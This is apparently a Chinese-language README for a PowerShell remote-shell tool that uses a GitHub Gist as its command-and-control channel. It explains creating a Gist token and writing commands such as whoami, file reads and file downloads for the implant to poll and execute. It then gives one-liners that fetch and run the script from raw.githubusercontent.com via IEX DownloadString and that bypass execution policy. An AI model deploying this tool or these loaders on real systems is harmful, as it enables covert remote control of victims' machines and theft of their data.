###Powershell Github Shell Demo Result Gist:https://gist.github.com/zlocal/1d449f3c195531c8cafbebfe808ea46e
####使用方法:
1,创建github账户,访问https://github.com/settings/tokens/new 选中 gist Create gists ,创建访问Gists的token.
2, 访问 https://gist.github.com/ ,创建一个Gist,属性最好为private,只有自己能访问查看结果,名称为cmd.例:
为了展示,我设置了public https://gist.github.com/zlocal/1d449f3c195531c8cafbebfe808ea46e
Command:"time /T"
ReadFile:"c:/windows/temp/1.txt"
WriteFile:"http://www.github.com/raw/1.zip c:/wnidows/temp/2.txt"
Powershell:"Get-Process | Out-String"
Command:"whoami"
其中
$gistsUser="gitusername"; # github的用户名
$gistsApiToken="gittoken"; # 上步中得到的token ,例eed4239e439034a92fc4cbe0fbd2ca906999a9f1
$checkTime=60; # 每次获取命令结果需要等待的时间,秒为单位
一句话远程加载(推荐)
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/zlocal/Powershell-Github-Shell/master/PGShell.ps1')
一句话本地加载
powershell IEX ([System.IO.File]::readAllText('PowershellGitShell.ps1')); //powershell
一句话文件执行
powershell -executionPolicy bypass -File "c:/test/PowershellGitShell.ps1" //powershell